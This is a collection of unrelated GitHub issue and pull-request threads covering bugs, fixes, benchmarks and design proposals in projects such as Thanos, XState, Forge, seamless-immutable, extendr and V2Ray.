If you don't want the "auto splitting" behaviour, you can apply "white-space: nowrap" style to the headers (or apply individual width's):
https://try.mudblazor.com/snippet/wEwmuVFSwDvdAuqz

Thank you very much fretje for the answer, your answer is very useful to me.


Data Element not returning deep properties

Expected Behaviour
when using a key such as a.b.c.d in a data element a value should be returned if present
Actual Behaviour
This logic has been lost in refactoring from the Helper object get method to direct access to computed state models, and so the function is not working.  Undefined is returned
Reproduce Scenario (including but not limited to)
Steps to Reproduce
Platform and Version
Sample Code that illustrates the problem
Logs taken while reproducing problem

Fixed


Fix chain commitment plugin state

This PR changes ChainCommitmentPlugin's state structure for compatibility with its previous version.

Codecov Report

Merging #193 (7be45ec) into develop (fd64078) will increase coverage by 0.00%.
The diff coverage is 66.66%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@           Coverage Diff            @@
##           develop     #193   +/-   ##
========================================
  Coverage    60.01%   60.02%
========================================
  Files           82       82
  Lines        14792    14795    +3
========================================
+ Hits          8878     8880    +2
- Misses        5914     5915    +1

Impacted Files
Coverage Δ

src/plugins/chain_commitment.rs
30.00% <66.66%> (+3.13%)
:arrow_up:

... and 2 files with indirect coverage changes
:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Add chat flow for file browser

worked branch development_vdc_jimber_chatflows

worked branch development_vdc_jimber_chatflows

deployed vdc on latest development_vdc can't find the chatflow

deployed vdc on latest development_vdc can't find the chatflow

blocked on: https://github.com/threefoldtech/vdc-solutions-charts/issues/55

blocked on: https://github.com/threefoldtech/vdc-solutions-charts/issues/55


Issue 2047 asymmetric type from hex

Fully addresses the following issue:
https://app.zenhub.com/workspaces/engineering-60953fafb1945f0011a3592d/issues/casper-network/casper-node/2047

bors merge

After further discussion, I think we should revert the behaviour of AsymmetricType::from_hex() so that it remains an error to try to parse a system key/sig from hex. There doesn't appear to be a valid use-case for such functionality.

@Fraser999 So actually 🤓  we may need this for fast-sync.  There's some parts here you know better than I, though.
In the fast sync branch we make a switch block after each upgrade.  The block proposer for that block is the system contract.  I don't know the client code that well.  If this is the case, will the client need to parse the hex for the system contract?  Perhaps there is some other encoding it uses.

After further discussion, I think we should revert the behaviour of AsymmetricType::from_hex() so that it remains an error to try to parse a system key/sig from hex. There doesn't appear to be a valid use-case for such functionality.
Let's keep the additional tests added in this PR, but update them as required to match the original behaviour.

Done.

Yes, for fast sync we need to decide how we handle the automatic switch block. In the current implementation its proposer is PublicKey::System. An alternative would be to introduce a new special public key value instead. :confused:

Even though we might drop this one, I've left it complete in a usable state.

bors r+


Releases are not working

Release process fails as show here.
This issue tracks changes made to fix that problem:

#104
#102
#101
#106
#109
#108

Origin and resolution:
Problem originated from a simple fact that actions/checkout fetches just a single commit. That fact resulted in changelog action knowing only about latest tag without a knowledge about any previous tag. Once full history has been fetched everything started to work.
TBH this is not really a proper fix, more of a hack. Reason why I say this is that I should try and fetch up to ``latest_tag-1``` of history and not more. For this plugin this is a not a big of a deal but bigger projects with dozens of changes or hundreds of changes? You know what I mean.


Targetless transition on parent state changes state

To reproduce

https://xstate.js.org/viz/?gist=887f4c842224a6d1ff0a253548d68b47
Click NEXT to move to state bbb
Click TEST

(Bug) Expected result:
Machine stays in state bbb
(Bug) Actual result:
Machine transitions to state aaa
Use case
I'd like to have top-level actions that modify context without changing the current state.

I can confirm that this seems broken in XState 4.6, but seems to be fixed i 4.7 (currently at RC stage) - https://codesandbox.io/s/wizardly-lamarr-eo00y

Updated some older code from XState 4.4 to 4.6 today and got burned by this one, too.

This looks an awful lot like #507 (which was fixed in #545 but hasn't been released yet).

Try it out with xstate@next please 🙏 This issue should be resolved.

Closing as this is resolved in xstate@next


Receive: Dont rebatch already replicated requests

[ ] I added CHANGELOG entry for this change.
[ ] Change is not relevant to the end user.

Changes
Part of #5807.
Since change in https://github.com/thanos-io/thanos/pull/5604, we are already hashing each time series by endpoint and replica, meaning that replicated requests will now always be sent to the actual endpoint to which they are supposed to be written. This means the 're-batching' of series upon receiving a replicated request is redundant and can be skipped.
Verification
Tests are succeeding locally. I also added one more benchmark with replicated request to see changes:
name                                                                                old time/op    new time/op    delta
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/OK-12                           1.00ms ± 7%    0.97ms ± 8%     ~     (p=0.123 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/OK-with-replicated-12            992µs ± 7%     817µs ± 6%  -17.60%  (p=0.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/conflict_errors-12              1.15ms ±10%    1.14ms ± 7%     ~     (p=0.684 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/OK-12                          10.2ms ± 6%    10.0ms ±16%     ~     (p=0.165 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/OK-with-replicated-12          10.2ms ± 5%     8.0ms ± 6%  -21.21%  (p=0.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/conflict_errors-12             12.1ms ± 7%    11.7ms ± 3%     ~     (p=0.146 n=10+8)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/OK-12                         41.3ms ± 4%    41.2ms ±11%     ~     (p=0.243 n=9+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/OK-with-replicated-12         41.4ms ± 6%    34.2ms ±10%  -17.22%  (p=0.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/conflict_errors-12            48.3ms ±11%    48.5ms ± 9%     ~     (p=0.739 n=10+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/OK-12                    81.7ms ± 3%    85.8ms ±11%     ~     (p=0.203 n=8+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/OK-with-replicated-12    87.8ms ±16%    76.5ms ±18%  -12.88%  (p=0.001 n=10+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/conflict_errors-12       89.4ms ±13%    87.0ms ±10%     ~     (p=0.529 n=10+10)

name                                                                                old alloc/op   new alloc/op   delta
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/OK-12                           1.15MB ± 0%    1.15MB ± 0%     ~     (p=0.661 n=10+9)
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/OK-with-replicated-12           1.15MB ± 0%    1.07MB ± 0%   -6.98%  (p=0.000 n=9+9)
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/conflict_errors-12              1.41MB ± 0%    1.41MB ± 0%     ~     (p=0.781 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/OK-12                          13.1MB ± 0%    13.1MB ± 0%     ~     (p=0.190 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/OK-with-replicated-12          13.1MB ± 0%    11.5MB ± 0%  -12.27%  (p=0.000 n=10+9)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/conflict_errors-12             15.5MB ± 0%    15.5MB ± 0%     ~     (p=0.315 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/OK-12                         52.6MB ± 1%    52.8MB ± 1%     ~     (p=0.190 n=9+9)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/OK-with-replicated-12         52.9MB ± 2%    46.4MB ± 1%  -12.23%  (p=0.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/conflict_errors-12            62.0MB ± 0%    62.0MB ± 0%     ~     (p=0.063 n=10+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/OK-12                     110MB ± 0%     110MB ± 0%     ~     (p=0.950 n=9+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/OK-with-replicated-12     110MB ± 0%     110MB ± 0%     ~     (p=0.982 n=9+9)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/conflict_errors-12        110MB ± 0%     110MB ± 0%     ~     (p=0.072 n=10+10)

name                                                                                old allocs/op  new allocs/op  delta
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/OK-12                            3.10k ± 0%     3.10k ± 0%     ~     (all equal)
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/OK-with-replicated-12            3.10k ± 0%     3.09k ± 0%   -0.35%  (p=0.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_500_of_them/conflict_errors-12               6.63k ± 0%     6.63k ± 0%     ~     (p=0.650 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/OK-12                           30.3k ± 0%     30.3k ± 0%     ~     (p=0.423 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/OK-with-replicated-12           30.3k ± 0%     30.3k ± 0%   -0.06%  (p=0.000 n=10+9)
HandlerReceiveHTTP/typical_labels_under_1KB,_5000_of_them/conflict_errors-12              65.1k ± 0%     65.1k ± 0%     ~     (p=1.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/OK-12                           121k ± 0%      121k ± 0%     ~     (p=0.763 n=10+9)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/OK-with-replicated-12           121k ± 0%      121k ± 0%   -0.02%  (p=0.000 n=10+10)
HandlerReceiveHTTP/typical_labels_under_1KB,_20000_of_them/conflict_errors-12              260k ± 0%      260k ± 0%     ~     (p=0.064 n=10+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/OK-12                      88.8 ± 2%      87.7 ± 1%     ~     (p=0.154 n=10+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/OK-with-replicated-12      89.7 ± 2%      84.3 ± 4%   -5.99%  (p=0.000 n=9+10)
HandlerReceiveHTTP/extremely_large_label_value_10MB,_10_of_them/conflict_errors-12          218 ± 1%       219 ± 1%   +0.61%  (p=0.042 n=9+9)

Note
We should make obvious to our users that this change is not fully compatible between older and newer versions of receive. In particular if any user would be running a mix of pre-0.28.0 receivers and receivers with this change (which can happen during a rollout), the batching would not work correctly. It is therefore important to instruct users to first update their receivers to version to either 0.28.0 or 0.29.0 and only then to newer version with this change.

Can this be rebased? 🙂

Closing as this has been superseded by https://github.com/thanos-io/thanos/pull/5910


Logical module namespaces

Statically typed languages such as Java or C# commonly define types in logical namespaces using special syntax (e.g. package com.apple.quicktime, in Java). Some of these languages enforce that each file has a single top-level type definition and that the file name and directory structure above it matches the logical namespace declared in the file's content. This rule helps avoid confusion.
In these languages, deployment of types as a cohesive whole, and their versioning, is a totally separate concern.
In Java, multiple files are bundled in a JAR file. The JAR file has a name which does not necessarily match the logical namespaces defined by the files within. JAR files are then published in a certain repository. When stored in a Maven-like repository, these are identified by a Group name, an Artifact name and a Version, or GAV. Dependencies are declared in a maven project by referencing their GAV.
In .Net, similarly, multiple files are bundled in an Assembly file. Assembly files have a name and version which is unrelated with the contained logical namespaces.
In these languages, a single unit of dependency can contain types belonging to multiple top-level logical namespaces. Additionally, a single top-level logical namespace may be composed (contributed to) by multiple units of dependency.
Although not enforced, logical namespaces typically parallel domain names which are registered under global authorities, such as DNS.

The JavaScript language and ecosystem is different in many respects. JavaScript has no explicit concept of namespace, and types are not so strictly defined. In JavaScript there is a global object (and scope) in which "values" can be published. In JavaScript, functions are values. So, naturally, and traditionally, JavaScript files "exported" one or more values ("classes", functions, singleton objects) by publishing plain objects, accessible from the global object, forming a hierarchical namespace. Simply loading a file would export the values it defined. Together, all script files would build a tree of "values" accessible using dot notation from the top-level objects. Doing this was always clumsy. Partly, this was because there is no syntactic sugar to define such logical namespaces built with plain objects; it is always necessary to check if each segment of the namespace already exists, creating it if not. No JavaScript utility library became a standard to this effect. Also, in some browsers, the global scope and the global object were not true synonymous (they used to be, in previous versions of JavaScript) or there were quirks when defining global variables, explicitly or implicitly. Whatever, it never took off as a reliable way to publish exports of libraries. Perhaps, the main reason this export technique started being seen as such a bad practice was that complex pages started having the need to have multiple versions of the same library side-by-side and this is simply not possible with a single, global namespace (think jquery). Interestingly, in this respect .Net and Java also do not allow this (easily at least). Different versions of a logical namespace have to be loaded in separate AppDomains and ClassLoaders , respectively.
Later came module formats for JavaScript, such as CommonJS and AMD, where modules could export one or more "values".
In CommonJS and Node.js, modules would be imported using a name which is anchored on the name of the package which contains them, thus tying the logical name to the deployment name. The package version is not included in the logical name. This simplicity does have the advantage of relying on the uniqueness of package names to ensure the uniqueness of namespaces, which are always rooted on the latter. However, this tends to leak non-logical organizational concerns to the names used to reference modules, and, implicitly, the "values" that they export (e.g. import BarChart from "@my/lib/dist/es6/BarChart"). As already said, above, this also impedes logical names to cross packages and packages to export more than one top-level logical name.
The AMD module format allows defining custom logical namespaces to reference modules which are totally unrelated to the URLs which expose them.
The forth-coming import maps standard, which one day will be supported by all web-browsers, also allows for this kind of logical namespace independence.
I believe that it is a goal of this project to provide a form to distribute import maps information across multiple projects, targeting either applications which are later made available in a web browser or in Node.js.

To allow this proposal to support packages using a logical namespace scheme, I propose a simple change: that the exports property additionally allows for keys which do not start with "./". When a bare key would be specified, it would not be appended to the package name but instead would form an independent logical namespace root.
The core package.
{
  "name": "@my-org/core-lib",
  "version": "1.0.0",
  "exports": {
     "myOrg/util": "./util",
     "myOrg/components": "./components",
  }
}

In another package:
{
  "name": "@my-org/stock-components",
  "version": "1.0.0",
  "exports": {
     "myOrg/components/Bar": "./components/Bar",
     "myOrg/components/Line": "./components/Line"
  }
}

In a JS file from a package which depends on the latter packages:
import slice from "myOrg/util/slice";
import BarChart from "myOrg/components/Bar";

// ...

If I'm not mistaken, the "imports" property already allows creating internal, logical aliases with any desired bare name and so this proposal would just raise the restriction for the "exports" property.

I think that explanation gives Java too much and JavaScript too little credit. Let me elaborate: When JavaScript moved to modules and packages (via npm/node), one important feature was that it didn't repeat a big mistake (imo) of Java: Conflating linking and library internals. Packages could contain hints for linking (their name) but the were just that. You could just put them into a different directory and everything just worked - the package now was available under a different name. Potentially even locally, only for a subset of files.
This proposal aims to provide additional hints for the binding/linking without removing that flexibility. Your example is already possible today in many tools, it's how preact can be used as a drop-in for react. It's also worth noting that the introduction of multiple package registries will most likely decouple name from the namespace to some degree. Hopefully using the mechanism most natural to JS - URLs. Allowing packages to rescope themselves brings with it all the pains of Java-style packages where there's a global namespace for everything, each class decides where it wants to be, and the only reason to have a local fork of an existing piece of code is to edit every single file and rescope it, hoping that it won't collide with somebody else's scopes.
I'm not sure this proposal is a good fit for your idea, I'd much rather see it as a proposal for npm and I believe it should always be driven from the consumer, never from the producer of the package (with the exception of light hints possibly).

@jkrems:
I don't think I follow your arguments on Java (and many, many other programming languages).
I am not defending the specific aspects of how Java (or others) handles class loading, like class paths and such.
I am defending the flexibility that comes with being able to separate logical names from packaging names. Naturally, this flexibility comes at the cost of having to secure two base names, one in a package registry and another in a logical namespace registry. In practice, the uniqueness of logical namespaces is managed informally, by using a logical prefix which is already centrally registered in another namespace registry, such as DNS. Even if someone uses "your" logical namespace in its own package, that is easily spotted and seen by anyone as incorrect and abusive. The only acceptable use cases for that — and note that this is not the main use case for which I am proposing this feature — would be to provide an alternate implementation of types exported by a package that you do not control (like replacing react with preact as you say). You could go further and try to impede someone from using "your" logical namespaces (if there was a way to register those), using some kind of signing system, but I don't think this is justified or necessary. That's how things work in most mainstream statically compiled languages and I don't consider this being a bad design, on the contrary.

It's also worth noting that the introduction of multiple package registries will most likely decouple name from the namespace to some degree. Hopefully using the mechanism most natural to JS - URLs.

Like you say, in the JavaScript world, with the advent of other package registries concurring with NPM (such as github), package names are no longer assured to refer to a single package definition and even organization — there is no central registry anymore. So, unfortunately, JavaScript lost the advantage it had on this front. Names you use to import modules no longer refer to a globally defined package — you have to add extra @scope-to-registry mapping metadata to totally identify a package. As such, the proposed logical namespaces are on pair with the current package-based namespaces, in terms of uniqueness guarantees. Consistency comes from the current set of installed packages, in a certain evaluation environment, not colliding with each other (unique package names and unique logical export keys).
Also, I don't think that URLs are the most natural identification scheme for JS — URLs are kind of an implementation and installation detail. At most, a right-most part of a URL could be considered, ignoring arbitrary servers/hosts. But then, you've kind of arrived to the logical case again... (either rooted on package names or purely logical names).

Allowing packages to rescope themselves brings with it all the pains of Java-style packages where there's a global namespace for everything, each class decides where it wants to be

I believe it should always be driven from the consumer, never from the producer of the package (with the exception of light hints possibly).

What you consider "pains" can be seen as a feature. Isn't a global namespace for everything what you have (or wished to have) with NPM package names? And, then, of course that each class is organized under some logical place by the library's author! When you place a module c.js and export it as @a/b/c/d.js, you are doing the exact same thing, organizing the contained types/values in some logical way determined by the publishing author. Unless the consumer of the package remaps these nested modules using imports, as proposed, he/she will have to "put up" with the publishing author's default (and healthy) organization.
So, we're only discussing about the choice of root names in which the intra-package organization is exposed.

I'm not sure this proposal is a good fit for your idea, I'd much rather see it as a proposal for npm

Both naming schemes are perfectly translatable to import maps, which is the ultimate/main target and base semantic model of your proposal, so how can this idea not fit?
Imo, your proposal should not limit the choice of base names that can be exported and instead should leave that choice to library authors. Just like it does not for names declared in imports.
I fail to see how you think that this idea would make sense in the context of NPM? I am specifically trying to detach the logical, coding entities namespace from the naming of the package system... I'm trying to remove packaging concerns from the source code of JS files...
I am not proposing something which forces you to design your packages' namespaces the way I like them. Instead, I am proposing that you add the flexibility for each package author to choose the preferred naming scheme with which the functionality that they provide is consumed.


Do not crash if no local version exists - fixes #1240

Sorry for this again, this makes me sad. :cry:

thx


Update 130.1-fourier-transform-drawing.md

@GypsyDangerous Hold on. It's seems to be a bug in the test framework.

@ meiamsome Could you take a look at this? The linkUrl () function in /unit_testing/format.js should distinguish between a "contribution" link and a "normal" link. Shouldn't it?

@GypsyDangerous I believe that it's because when you link to a youtube video, you have to link to it with the field "video_id"
So instead of url: "https://www.youtube.com/watch?v=jenANk6QR5c"
it should be: video_id: "jenANk6QR5c"

@gruselhaus It's just a simplification to make writing the tests simpler. video_id renders correctly out into the website so forcing it everwhere is the simplest way to do it without having to differentiate when links need to have the checks or not.


bug(forge): coverage does not work with return values assigned to library calls

Component
Forge
Have you ensured that all of these are up to date?

[X] Foundry
[X] Foundryup

What version of Foundry are you on?
forge 0.2.0 (249538f 2023-02-08T00:12:05.805004Z)
What command(s) is the bug in?
forge coverage
Operating System
macOS (Apple Silicon)
Describe the bug
This bug has been first reported by @ZeroEkkusu in this comment. I have opened a separate issue to track this because I think that it is an important and subtle bug, which can easily lead Foundry users astray (i.e. make them believe there's something wrong with their tests or library code when in fact there isn't).
The bug occurs when a return value is assigned to a library call, like this:
library Helpers {
    function gte(uint256 element, uint256[] memory items) internal pure returns (bool) {
        if (items.length == 0) {
            revert("Items array is empty");
        }
        return element >= items[0];
    }
}

contract Foo {
    function gte(uint256 element, uint256[] memory items) external pure returns (bool) {
        // This is where the bug happens 👇
        return Helpers.gte(element, items);
    }
}

Given the code above, Forge will generate the following coverage report, which is incorrect:

Assigning the library call to a variable fixes this:
function gte(uint256 element, uint256[] memory items) external pure returns (bool) {
    bool result = Helpers.gte(element, items);
    return result;
}

However, this is bad practice. Production code should not be optimized for coverage reports.
As @onbjerg said here, the bug may be related to the walking of the right-hand side of expressions.

@haythemsellami you can use the thumbs up emoji (👍) if you don't have anything to add.

I opened a PR to fix this here https://github.com/foundry-rs/foundry/pull/5099. Locally the fix is working against my test suite.

Closing, fixed with #5099


Feature: Red Section

Description
This PR adds support for Red Lang section support in the spaceship prompt. This will show the installed red version in the prompt, just like it does for other languages/frameworks like python and node.
Fixes #1226

Nice to be here!
Actually i looked up the tests folder as per as the contributors guidelines, but I can't figure out what tests should I write for a version printing section.
I don't see any tests for similar sections like python!

There are similar tests for bun, crystal, dart, deno, kotlin, erlang, lua, perl, scala and so on. Take a look at them. It should be easy to do.

Done!

Any updates @denysdovhan

:tada: This PR is included in version 4.16.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

What was the issue with the tests?


missing onDismiss emit in dismiss()

from modal.ts:
close(): Promise<void> {
    return this.instance.close().then(() => {
        this.onClose.emit(undefined);
    });
}

dismiss(): Promise<void> {
    return this.instance.dismiss();
}

dismiss needs to send an event as well, IMO. (i am trying to work around #62 and am hoping that manually connecting listeners will avoid side efects of forcibly removing the DOM element.)
i think dismiss() needs to be:
dismiss(): Promise<void> {
    return this.instance.dismiss().then(() => {
        this.onDismiss.emit(undefined);
    });
}

@sgbeal onDismiss should be emitted here: https://github.com/dougludlow/ng2-bs3-modal/blob/master/src/ng2-bs3-modal/components/modal.ts#L45
This should emit not only when dismiss is called explicitly, but also when the modal is dismissed via keyboard and by clicking on the backdrop.

Fair enough - i didn't specifically notice any broken behaviour, just the inconsistency compared to the close() impl.


Notifications show up even when disabled

I still see notifications like this one when I switch language:

While notifications are disabled in Kawa settings:

Kawa stable version 3.0 installed.
Mac OS High Sierra 10.13.4.

It was solved by check the checkbox and then uncheck it.

@machinemxy thanks, this solved problem for me too


Issue regarding null values

We have an issue with an special merger. We need to keep the properties even if the source object has that property as undefined, so we use a custom merger, with almost all values they work ok, but when the original object has a value of null, the resulting property is set to undefined.
const Immutable = require("seamless-immutable").static;

const merger = (c, o) => {
    if (o === undefined && c !== undefined) {
      return c;
    }
    return;
}

Immutable.merge({a: 1}, {a: undefined}, {merger}) // {a: 1}
Immutable.merge({a: null}, {a: undefined}, {merger}) // {a: undefined}

Here is the code running on runkit https://runkit.com/donnanicolas/seamless-immutable-null
We don't know why this happens

Seems like a problem in the addToResult function in the merge function: https://github.com/rtfeldman/seamless-immutable/blob/281c344ad4694d4190fbe27d954d5a69887335bf/src/seamless-immutable.js#L405
So if the result from the merger is not truthy it will go to the else and use the value from o. It should do an explicit check for undefined instead. But I guess a fix for that would require a new major version since it can break stuff.

@crudh Ok, but it seem like a major issue, since anyone using null values can have issues like this and its rather hard to track

@donnanicolas yeah, I agree. PR #248 should fix it.

@crudh Thanks!! will update as soon as the PR is merged!! (I "reviewed" it and it seems great, but I don't know much about the code)


Initial Setup of Markdown+Mermaid

Description

The Design for the new PreView Panel

Created additional panel for markdown
In the design I have included a copy button to export markdown
In the components folder we can develop the markdown of all asyncapi objects + mermaid diagram
Using markdown-it to translate the markdown to HTML for preview
Using @asyncapi/parser to parse and pass to individual functions in ./components folder
Added the mermaid script to render mermaid diagrams
Need to work for a better UI
Info is not fully developed, but needs more development to be done

Tools Used: mermaid.js, markdown-it, @asyncapi/parser
Hi @ivangsa , what do you think about this? also need to decide whether to go for flowchart or classdiagram. Once the setup is accepted, we can start the further developements
Related issue(s)
Partially Resolves #161

Good work!
can you collaborate with @josephinoo in creating a template, maybe with ejs, for the markdown content...
maybe including:

info
servers
channels
messages
And also a mermaid diagram for the schemas with relationships for each message (separated)

I'm merging this so you can collaborate on this
/rtm

Sure @ivangsa
Congrats to you and entire community! for being accepted as GSOC 24 Org.


Update libR-sys to 0.4.0

I didn't expected this, but bumping the version of libR-sys makes extendr fail because [patch.crates-io] doesn't work. It doesn't work because

the version of libR-sys on Git is v0.4.0, but
the version of libR-sys extendr specifies is v0.3.0

  warning: Patch `libR-sys v0.4.0 (https://github.com/extendr/libR-sys#9d21fc23)` was not used in the crate graph.
  Check that the patched package version and available features are compatible
  with the dependency requirements. If the patch has a different version from
  what is locked in the Cargo.lock file, run `cargo update` to use the new
  version. This may also occur with an optional dependency that is not enabled.

https://github.com/extendr/extendr/actions/runs/4266437196/jobs/7437481677#step:11:22
so we have to update these lines.

We can also comment out [patch.crates-io]. I feel "When uncommenting this" indicates that this should be commented out in usual, but I'm not immediately sure which is better. Let's not do it in this pull request.
https://github.com/extendr/extendr/blob/6b0a6c7e75da87600485117a68457b78ee350799/Cargo.toml#L9-L13

We shouldn't version a dependency that is git-linked. But that doesn't matter right now.

I'm afraid I don't understand. Are we patching the crate version of libRsys with the git master version? Why?

That's not possible;
See
https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html#specifying-path-dependencies

Note: crates.io does not allow packages to be published with path
dependencies (path dev-dependencies are ignored). See the Multiple
locations section for a fallback alternative.

On Sun, Feb 26, 2023 at 1:49 PM Michael Milton @.***>
wrote:

I'm afraid I don't understand. Are we patching the crate version of
libRsys with the git master version? Why?
—
Reply to this email directly, view it on GitHub
https://github.com/extendr/extendr/pull/492#issuecomment-1445353462, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAIDVSB6QJZLQRNBEHMPHWLWZNGN7ANCNFSM6AAAAAAVIOE7CM
.
You are receiving this because you commented.Message ID:
@.***>


Passing Runtime value

Fix #48
(Please merge #53 first before reviewing this PR.)
This PR includes

Passing run-time values to config
New builder pattern which allow us to pass run-time config to Adapt method.

Example
On configuration, we can receive run-time value by MapContext.Current.Parameters.
TypeAdapterConfig<Poco, Dto>.NewConfig()
                            .Map(dest => dest.CreatedBy,
                                 src => MapContext.Current.Parameters["user"]);

To pass run-time value.
var dto = poco.BuildAdapter()
              .AddParameters("user", this.User.Identity.Name)
              .AdaptToType<SimpleDto>();

@chaowlert, Thanks for this work...looks good, I'm a fan of the renames and the MapContext functionality.  Have you evaluated the impact to benchmarks?  Is there a significant penalty for including a parameter in the mapping since there are a couple of checks?  Dict null should be negligible but was there a significant impact when there is a param dict lookup?

@eswann I just ran benchmark. Performance is still the same.
When we use MapContext, there will be performance effect for sure. MapContext is ThreadStatic, accessing will be a bit slower. Plus we need to access value by Dictionary of object, which there are cost for lookup and casting. But if we don't use MapContext, there will be no effect. Anyway, performance impact of using MapContext should be the matter of milliseconds, there should be no concern.
In fact, this feature shares common functionality with preserve reference feature. When I did preserve reference feature, I used to pass parameters as a function argument. But it turned out that, we need to re-engineer a lot which is very high risk. Plus there is performance impact to all other cases by 10-15%, because we need more check for extra arguments. So I decided to sacrifice some good practices for lesser used functionalities, to mitigate risk of re-engineer and impact on performance, by introducing MapContext.


Introduce a property to influence output location.

It's useful in certain contexts to have Maven direct outputs to
a non-standard location. By using this property, we can allow
for this, while maintaining the default behavior when this property
isn't used.
The derivation for the default value comes from
http://maven.apache.org/pom.html line 32 of the main POM.
Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Make sure there is a JIRA issue filed for the change (usually before you start working on it).  Trivial changes like typos do not require a JIRA issue.  Your pull request should address just this issue, without pulling in other changes.
[ ] Each commit in the pull request should have a meaningful subject line and body.
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue.
[ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[ ] Run mvn clean verify to make sure basic checks pass. A more thorough check will be performed on your pull request automatically.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

retest this please

retest this please

If maven is happy, I'm happy. This is a nice feature.


Display all the code

Viewing a code submission currently cuts of all characters on any line past the 80th character.

this has a beta solution in the code_viewer branch am open to input as to how to proceed.


Azure Maps Geolocation Readme Issues

Section link

Reason:
AzureKeyCredential is not a constructor.
Suggestion:
Update the code as following:
const { AzureKeyCredential } = require("@azure/core-auth");

Section link

Reason:
isUnexpected is not a function.
Suggestion:
Update the code as following:
const { isUnexpected } = require("@azure-rest/maps-geolocation");

@joheredi, @markweitzel, @dw511214992 for notification.

@qiaozha Thank you, I will close the issue now.


Internal DNS client perform A query only, should perform AAAA query first

Version: v2.33 from Docker Hub

Scenario: Use different DNS server for different host. For Google, use Google IPv6 DNS to directly connect to Google via CERNET IPv6; for m10.music.126.net, use default DNS because DNS servers overseas would return <IP_ADDRESS> for this host

Problem: 2001:4860:4860::8888 has been set as internal DNS server, and according to the log, <IP_ADDRESS> is returned for www.google.com, which is forbidden by regulatory policy

Expected: 2404:6800:4008:800::2004 should be returned

Configurations:
Server Configuration File: N/A
Client Configuration File:

{
    "log": {
        "loglevel": "debug"
    },
    "dns": {
        "servers": [
            "2001:4860:4860::8888",
            "2001:4860:4860::8844",
            "localhost"
        ]
    },
    "routing": {
        "strategy": "rules",
        "settings": {
            "domainStrategy": "AsIs",
            "rules": [
                {
                    "type": "field",
                    "port": "53",
                    "outboundTag": "direct"
                },
                {
                    "type": "field",
                    "domain": [
                        "domain:126.net",
                        "domain:126.com",
                        "domain:163.net",
                        "domain:163.com"
                    ],
                    "outboundTag": "direct"
                },
                {
                    "type": "field",
                    "domain": [
                        "domain:google.com"
                    ],
                    "outboundTag": "GDNS"
                }
            ]
        }
    },
    "inbound": {
        "port": 1080,
        "listen": "<IP_ADDRESS>",
        "protocol": "socks",
        "settings": {
            "auth": "noauth"
        },
        "tag": "socks5"
    },
    "outbound": {
        "protocol": "shadowsocks",
        "settings": {
            "servers": "PRIVACY"
        },
        "tag": "ss"
    },
    "outboundDetour": [
        {
            "protocol": "freedom",
            "tag": "GDNS",
            "settings": {
                "domainStrategy": "UseIP",
                "timeout": 0
            }
        },
        {
            "protocol": "freedom",
            "tag": "direct",
            "settings": {
                "domainStrategy": "AsIs",
                "timeout": 0
            }
        }
    ]
}

Prefer not to show the full log, key lines:

2017/**/** **:**:** [Debug]App|DNS|Server: add pending request id *****
2017/**/** **:**:** [Debug]Transport|Internet|UDP: dispatch request to: udp:[2001:4860:4860::8888]:53
2017/**/** **:**:** [Info]Transport|Internet|UDP: establishing new connection for udp:[2001:4860:4860::8888]:53
2017/**/** **:**:** [Info]App|Dispatcher|Default: taking detour [direct] for [udp:[2001:4860:4860::8888]:53]
2017/**/** **:**:** [Info]Proxy|Freedom: opening connection to udp:[2001:4860:4860::8888]:53
2017/**/** **:**:** [Debug]App|DNS|Server: handling response for id ***** content: ;; opcode: QUERY, status: NOERROR, id: *****
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com.	IN	 A

